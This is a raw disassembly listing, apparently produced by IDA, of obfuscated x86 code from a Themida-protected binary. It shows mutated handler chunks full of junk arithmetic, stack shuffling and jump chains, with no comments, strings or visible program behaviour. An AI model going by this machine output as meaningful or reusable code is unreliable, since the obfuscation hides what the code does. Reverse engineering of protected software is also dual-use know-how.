; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_5A28EE:				; CODE XREF: sub_59D1FC-81BDj
		xchg	ebp, [esp+0]
		jmp	loc_59A39C
; END OF FUNCTION CHUNK	FOR sub_59D1FC

; =============== S U B	R O U T	I N E =======================================



sub_5A28F6	proc near		; DATA XREF: Themida_:00590998o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598676 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005994A6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059FC68 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A2CFA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4731 SIZE 00000024 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	esi
		push	esp
		pop	esi
		push	6CDCh
		mov	[esp+0Ch+var_C], edx
		mov	edx, 4
		add	esi, 3E762D70h
		add	esi, edx
		sub	esi, 3E762D70h
		pop	edx
		jmp	loc_59FC68
sub_5A28F6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A2923:				; CODE XREF: sub_59A4D6+B716j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		xchg	eax, [esp+0]
		jmp	loc_59691A
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A2934:				; CODE XREF: Themida_:00592962j
		push	edx
		push	edi
		mov	edi, 2CFE2DFFh
		jmp	loc_5962F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2940:				; CODE XREF: sub_59390B-757j
		sub	ebp, 6E61235Ch
		push	ebp
		sub	[esp+4+var_4], 143186Ah
		pop	esi
		add	esi, 143186Ah
		pop	ebp
		sub	ebp, esi
		pop	esi
		xor	ebp, [esp-8+arg_0]
		xor	[esp-8+arg_0], ebp
		xor	ebp, [esp-8+arg_0]
		pop	esp
		mov	[esp-0Ch+arg_4], edx
		jmp	loc_5A4FDF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59A3E8
; ---------------------------------------------------------------------------


loc_5A2974:				; CODE XREF: Themida_:0059D8A3j
		pop	esp
		jmp	loc_5A2702
; ---------------------------------------------------------------------------


loc_5A297A:				; CODE XREF: Themida_:005A2E16j
		push	ebp
		mov	ebp, 3D255D91h
		add	[esp+0Ch], ebp
		pop	ebp
		add	dword ptr [esp+8], 0B261AA0h
		add	[esp+8], ebp
		push	esi
		jmp	loc_59BA5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A2997:				; CODE XREF: sub_599AE1-2D21j
		pop	esi
		add	eax, 137C5470h
		jmp	loc_596017
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A29A2:				; CODE XREF: sub_59390B+D7B2j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59CFA1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A09BC


loc_5A29B0:				; CODE XREF: sub_5A09BC+1j
		push	34585E38h
		pop	ebp
		neg	ebp
		jmp	loc_5955EF
; END OF FUNCTION CHUNK	FOR sub_5A09BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A29BD:				; CODE XREF: sub_59390B+10143j
		sub	edi, ecx
		xchg	edi, ecx
		jmp	loc_591B1C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A29C6:				; CODE XREF: Themida_:0059888Ej
		mov	esi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5954AB
; ---------------------------------------------------------------------------


loc_5A29D5:				; CODE XREF: Themida_:005A1929j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	7F63h
		mov	[esp], ebp
		mov	ebp, 4
		sub	ebx, 3F076C88h
		sub	ebx, 766F3199h
		jmp	loc_5A12C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_5A2A02:				; CODE XREF: sub_5995FC+Cj
		mov	ah, cl
		mov	cl, bl
		mov	bl, ah
		pop	eax
		not	cl
		xchg	cl, bl
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	dh, 5
		jmp	loc_596121
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2A1A:				; CODE XREF: sub_59390B+108C7j
		pop	eax
		add	esp, 4
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		push	2E57h
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		add	edi, 2
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		test	cl, al
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD1C


loc_5A2A4D:				; CODE XREF: sub_59DD1C+27j
		push	6871h
		mov	[esp+8+var_8], ebx
		jmp	loc_59A12F
; END OF FUNCTION CHUNK	FOR sub_59DD1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591F0D


loc_5A2A5A:				; CODE XREF: sub_591F0D+9857j
		push	eax
		mov	eax, 404F447Bh
		and	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, 5CF021A0h
		add	ebp, ecx
		mov	ecx, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		xor	edx, ebp
		mov	ebp, [esp+8+var_8]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 249866F5h
		jmp	loc_59F7D3
; END OF FUNCTION CHUNK	FOR sub_591F0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A2A91:				; CODE XREF: sub_594D13+10EA5j
		xchg	ecx, [esp+4+var_4]
		jmp	loc_594E78
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2A99:				; CODE XREF: sub_59390B+56Fj
		mov	edx, esp
		jmp	loc_59AD35
; ---------------------------------------------------------------------------


loc_5A2AA0:				; CODE XREF: sub_59390B+BCE0j
		sub	al, bl
		pop	ebx
		jmp	loc_59C1C4
; ---------------------------------------------------------------------------


loc_5A2AA8:				; CODE XREF: sub_59390B+8FDj
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		and	eax, esi
		push	[esp+0Ch+var_C]
		mov	esi, [esp+10h+var_10]
		push	edi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_5A0CA9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2AD4:				; CODE XREF: Themida_:0059C391j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 5F520538h
		add	edx, ecx
		add	edx, 5F520538h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A26B4
; ---------------------------------------------------------------------------


loc_5A2B10:				; CODE XREF: Themida_:005A19FFj
		sub	esp, 4
		jmp	loc_59A940
; ---------------------------------------------------------------------------


loc_5A2B18:				; CODE XREF: Themida_:005A18B3j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_590EA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A2B23:				; CODE XREF: sub_595BAD+49DFj
		pop	edx
		xor	edx, 2FB0713h
		jmp	loc_59CBA2
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2B2F:				; CODE XREF: sub_59390B+11C1Dj
		push	ecx
		jmp	loc_59DD6E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5A2B35:				; CODE XREF: sub_59918B+2E2Dj
		push	13C1h
		mov	[esp-8+arg_4], edi
		mov	edi, 4
		jmp	loc_59523A
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_5A2B47:				; CODE XREF: Themida_:005913BEj
		or	ecx, 1A0C7312h
		add	ecx, 2B742F87h
		sub	ebx, ecx
		pop	ecx
		add	edi, ebx
		jmp	loc_5A33F4
; ---------------------------------------------------------------------------


loc_5A2B5D:				; CODE XREF: Themida_:0059A91Cj
		mov	ebx, 5C0E29C7h
		sub	ebx, 5C0E29C5h
		mov	ecx, ebx
		jmp	loc_598BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A2B6F:				; CODE XREF: sub_595BAD+7A3Cj
		shr	edx, 2
		and	edx, 748E37DAh
		push	3AB6h
		mov	[esp+14h+var_14], edi
		mov	edi, 3340907h
		add	edx, edi
		pop	edi
		push	eax
		jmp	loc_59E61D
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2B8E:				; CODE XREF: sub_59390B-530j
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_59AFD7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2B9B:				; CODE XREF: Themida_:00590ECBj
		inc	esi
		sub	esi, 4BD9436Fh
		sub	esi, 0F03293C3h
		add	eax, 2799404Dh
		sub	eax, esi
		sub	eax, 2799404Dh
		jmp	loc_597CC5
; ---------------------------------------------------------------------------


loc_5A2BB9:				; CODE XREF: Themida_:0059F57Cj
		push	eax
		mov	eax, 121A8E25h
		xor	ebx, eax
		jmp	loc_59D8D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A2BC6:				; CODE XREF: sub_599AE1+3AA0j
		pop	edi
		jmp	loc_5A069F
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2BCC:				; CODE XREF: sub_59390B+2E51j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 3FCh
		push	esi
		mov	esi, 7A120046h
		push	edx
		mov	edx, 334A6A5Eh
		add	edi, edx
		pop	edx
		add	edi, esi
		jmp	loc_594244
; ---------------------------------------------------------------------------


loc_5A2C06:				; CODE XREF: sub_59390B+9198j
		pop	eax
		add	esi, 4
		xchg	esi, [esp-18h+arg_10]
		pop	esp
		xor	eax, [esp-1Ch+arg_14]
		xor	[esp-1Ch+arg_14], eax
		xor	eax, [esp-1Ch+arg_14]
		jmp	loc_590B93
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2C1C:				; CODE XREF: Themida_:0059C57Cj
		xor	eax, 23E61468h
		neg	eax
		push	ecx
		mov	ecx, 0C8FEE0FCh
		add	eax, ecx
		pop	ecx
		xor	edi, eax
		jmp	loc_597028
; ---------------------------------------------------------------------------


loc_5A2C33:				; CODE XREF: Themida_:005962F1j
		mov	esp, [esp]
		mov	[esp], ebx
		push	3B8Eh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], esi
		push	eax
		push	33885610h
		pop	eax
		push	0FBEh
		mov	[esp], edi
		mov	edi, 3388560Ch
		sub	eax, edi
		pop	edi
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A2EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2C6E:				; CODE XREF: sub_59390B+388j
		xchg	edx, ebp
		sub	ebp, 13B837E5h
		xor	ebp, 90594893h
		jmp	loc_59D7DD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2C81:				; CODE XREF: Themida_:00596999j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_590C5D
; ---------------------------------------------------------------------------


loc_5A2C95:				; CODE XREF: Themida_:005A448Bj
		push	ebp
		mov	ebp, 7EAF6FF8h
		xor	edx, ebp
		jmp	loc_59E885
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2CA2:				; CODE XREF: sub_59390B+2A04j
		pop	ebx
		xor	edi, [esp-18h+arg_10]
		jmp	loc_5A500A
; ---------------------------------------------------------------------------


loc_5A2CAB:				; CODE XREF: sub_59390B+D3j
		xchg	edi, [esp+4+var_4]
		jmp	sub_59A072
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5A2CB3:				; CODE XREF: sub_59918B+8503j
		mov	edx, 4
		push	eax
		push	58C579C5h
		pop	eax
		add	esi, eax
		mov	eax, [esp+0]
		push	eax
		mov	eax, esp
		jmp	loc_593BD5
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A2CCC:				; CODE XREF: sub_59A4D6+7B3Fj
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		sub	edx, ebx
		add	edx, 71F56AC7h
		pop	ebx
		or	ebp, edx
		pop	edx
		push	eax
		push	ecx
		mov	ecx, 0A904366h
		mov	eax, ecx
		jmp	loc_59B9E5
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A2CEC:				; CODE XREF: Themida_:0059A749j
		pop	esp
		mov	[esp], eax
		mov	eax, 4BA0233Ah
		jmp	loc_5A2812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28F6


loc_5A2CFA:				; CODE XREF: sub_5A28F6+1E5Aj
		push	eax
		jmp	loc_5994A6
; END OF FUNCTION CHUNK	FOR sub_5A28F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_5A2D00:				; CODE XREF: sub_5936EC+BDD2j
		xor	edx, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	5E9Eh
		mov	[esp+8+var_8], edx
		add	[esp+8+var_8], 37A231Dh
		pop	ebx
		sub	ebx, 37A231Dh
		pop	edx
		add	ebx, 85C38665h
		and	eax, ebx
		jmp	loc_592503
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_5A2D2C:				; CODE XREF: Themida_:00598A97j
		push	edx
		jmp	loc_5921F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2D32:				; CODE XREF: sub_59390B-24EEj
		sub	ebx, eax
		jmp	loc_59C4D8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2D39:				; CODE XREF: Themida_:0059B014j
		mov	[esp], edx
		jmp	loc_598E78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_5A2D41:				; CODE XREF: sub_5A085D-DF5Cj
		sub	ch, 57h
		sub	ch, 0FFh
		push	bx
		jmp	loc_59EBA9
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2D4E:				; CODE XREF: sub_59390B+B890j
		push	edx
		jmp	loc_5A3B10
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A2D54:				; CODE XREF: sub_595BAD+BD9Bj
		sub	edi, 3A4867DCh
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_598CEE
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_5A2D65:				; CODE XREF: sub_590BDF+D50Bj
		push	dword ptr [esp+4]
		jmp	loc_59EA90
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_5A2D6E:				; CODE XREF: sub_5964B7+7B90j
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_594903
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2D7D:				; CODE XREF: sub_59390B+11F0Cj
		add	esp, 4
		sub	esi, 359F323Fh
		add	esi, ebp
		jmp	loc_59727A
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A2D8D	proc near		; DATA XREF: Themida_:005909A4o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591BF9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596B0F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AE21 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C271 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A39D2 SIZE 00000014 BYTES

		mov	ax, [esp+0]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 7E65147Bh
		shr	ecx, 8
		push	ecx
		not	[esp+8+var_8]
		pop	ecx
		sub	ecx, 0FF819AE7h
		jmp	loc_5A39D2
sub_5A2D8D	endp

; ---------------------------------------------------------------------------


loc_5A2DAD:				; CODE XREF: Themida_:005920E4j
		mov	ch, 4Fh
		sub	bl, ch
		pop	ecx
		sub	bl, al
		add	bl, 4Fh
		add	bl, 0B9h
		jmp	loc_5A2FC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2DBF:				; CODE XREF: sub_59390B+E922j
		mov	eax, ebp
		push	[esp+0Ch+var_C]
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59D937
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5A2DDB:				; CODE XREF: sub_59918B+6E7j
		mov	[esp+8+var_8], edx
		push	7C3Ah
		mov	[esp+0], eax
		push	edi
		mov	edi, 30F1E4Eh
		xor	edi, 0D8F7E28h
		jmp	loc_59BB37
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_5A2DF7:				; CODE XREF: Themida_:00597D99j
		add	cl, 0E0h
		sub	dh, cl
		pop	ecx
		push	eax
		mov	ah, 0A8h
		inc	ah
		add	ah, 1
		add	ah, 84h
		jmp	loc_5A4BB1
; ---------------------------------------------------------------------------


loc_5A2E0D:				; CODE XREF: Themida_:0059DBB0j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 27AA3B1Eh
		jmp	loc_5A297A
; ---------------------------------------------------------------------------


loc_5A2E1B:				; CODE XREF: Themida_:00595016j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2E2B:				; CODE XREF: sub_59390B+8EC1j
		pop	esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-10h+arg_8]
		pop	esp
		mov	[esp-14h+arg_C], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5999D4
; ---------------------------------------------------------------------------


loc_5A2E48:				; CODE XREF: sub_59390B+7Aj
		add	ecx, 0BB3182DAh
		mov	edi, ecx
		jmp	loc_5A24F6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5A2E55:				; CODE XREF: sub_5A4CDD-1361Bj
		pop	ecx
		push	0
		sub	[esp+0], eax
		pop	eax
		sub	eax, 0E2842C97h
		jmp	loc_59921A
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_5A2E69:				; CODE XREF: Themida_:0059D055j
		mov	ebp, 593A095Bh
		sub	edx, ebp
		pop	ebp
		add	edx, eax
		push	ebx
		mov	ebx, 593A095Bh
		add	edx, ebx
		pop	ebx
		pop	eax
		jmp	loc_5A49A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2E82:				; CODE XREF: sub_59390B+1006Bj
		mov	esp, [esp-0Ch+arg_4]
		jmp	loc_591A3B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A2E8A:				; CODE XREF: sub_59E918-162Fj
		add	al, cl
		sub	al, 68h
		pop	ecx
		push	small 1AD9h
		mov	word ptr [esp+8+var_8],	ax
		mov	ah, 97h
		not	ah
		sub	ah, 0DDh
		shr	ah, 5
		jmp	loc_598B95
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_5A2EA6:				; CODE XREF: Themida_:005A50D9j
		mov	al, 0B1h
		mov	cl, al
		jmp	loc_596A7B
; ---------------------------------------------------------------------------


loc_5A2EAF:				; CODE XREF: Themida_:0059B99Ej
		mov	ecx, [esp]
		add	esp, 4
		push	43Dh
		jmp	loc_59FC96
; ---------------------------------------------------------------------------


loc_5A2EBF:				; CODE XREF: Themida_:005A2C69j
		add	[esp+4], esi
		jmp	loc_592CDA
; ---------------------------------------------------------------------------


loc_5A2EC8:				; CODE XREF: Themida_:0059EBF9j
		mov	edx, esp
		jmp	loc_5989AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A2ECF:				; CODE XREF: sub_59A4D6-E8Aj
		push	1
		push	[esp+10h+var_10]
		pop	edi
		jmp	loc_59D383
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A2EDD:				; CODE XREF: Themida_:005A063Cj
		neg	edx
		or	edx, 7304BE8h
		jmp	loc_59625D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5A2EEA:				; CODE XREF: sub_5A4CDD+16j
		push	ecx
		jmp	loc_59CDA0
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2EF0:				; CODE XREF: sub_59390B+C636j
		shl	esi, 1
		shr	esi, 2
		push	edi
		mov	edi, 0FDAB1018h
		add	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_599C3B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594C24


loc_5A2F09:				; CODE XREF: sub_594C24+AC6Cj
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	3B3Ch
		mov	[esp+4+var_4], eax
		push	edx
		push	[esp+8+var_4]
		push	[esp+0Ch+var_C]
		jmp	loc_5931E1
; END OF FUNCTION CHUNK	FOR sub_594C24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2F24:				; CODE XREF: sub_59390B+40Aj
		mov	esp, [esp-1Eh+arg_14+2]
		push	ebx
		push	esp
		jmp	loc_599AF5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_5A2F2E:				; CODE XREF: sub_592E1C-A58j
		pop	ebp
		push	7F21h
		mov	[esp+8+var_8], esi
		push	5DBDh
		mov	[esp+0Ch+var_C], ebp
		push	edx
		mov	edx, 4855624Fh
		mov	ebp, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		mov	esi, 0B7AA9DB3h
		sub	esi, 5BD82E43h
		add	esi, ebp
		add	esi, 5BD82E43h
		jmp	loc_5A58F9
; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------


loc_5A2F68:				; CODE XREF: Themida_:005997D6j
		mov	esi, 13DF0670h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	20D1h
		mov	[esp], esi
		push	634144F0h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5A1DC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C8E


loc_5A2F8E:				; CODE XREF: sub_597C8E-5C92j
		pop	edx
		sub	esp, 4
		jmp	loc_59D122
; END OF FUNCTION CHUNK	FOR sub_597C8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A2F9A:				; CODE XREF: sub_59A431+8450j
		push	[esp+8+var_4]
		jmp	loc_5932CC
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5A2FA3:				; CODE XREF: sub_591FC5+98ECj
		mov	[esp+8+var_8], edx
		mov	dh, cl
		push	ecx
		mov	cl, dh
		jmp	loc_596E98
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2FB0:				; CODE XREF: sub_59390B-2B43j
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		push	eax
		jmp	loc_5A3D8B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2FC0:				; CODE XREF: Themida_:005A2DBAj
		pop	eax
		add	bl, 4Ch
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_59A642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21DE


loc_5A2FD0:				; CODE XREF: sub_5A21DE-51C1j
		mov	ebp, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		and	eax, ebp
		jmp	loc_5A15D4
; END OF FUNCTION CHUNK	FOR sub_5A21DE
; ---------------------------------------------------------------------------


loc_5A2FDF:				; CODE XREF: Themida_:0059EC77j
		add	eax, 4
		jmp	loc_59B7DD

; =============== S U B	R O U T	I N E =======================================



sub_5A2FE9	proc near		; CODE XREF: sub_59A1A3+4j

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591898 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005926D0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592863 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005932A7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595B7B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596055 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059775D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599148 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059945D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059ACDE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C589 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EF98 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1D32 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5163 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A599F SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	esp
		mov	esi, [esp+8+var_8]
		push	ebp
		push	esp
		jmp	loc_59C589
sub_5A2FE9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A2FFD:				; CODE XREF: sub_59A431+48Cj
		pop	ebp
		jmp	loc_59DC0C
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5A3003:				; CODE XREF: Themida_:005A30BFj
		sub	eax, esi
		jmp	loc_59604E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5A300A:				; CODE XREF: sub_591FC5+1F3j
		pop	edx
		or	cl, bl
		pop	ebx
		jmp	loc_5A2482
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_5A3013:				; CODE XREF: Themida_:0059554Dj
		push	eax
		mov	eax, 4A4B5199h
		add	edx, eax
		pop	eax
		sub	esi, 375F06A3h
		jmp	loc_5948B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3027:				; CODE XREF: sub_59390B+3D32j
		mov	si, dx
		jmp	loc_59A19D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A302F:				; CODE XREF: Themida_:00598384j
		xor	esi, 2ED21336h
		xor	esi, 912E78EDh
		add	edx, esi
		pop	esi
		jmp	loc_5A56EE
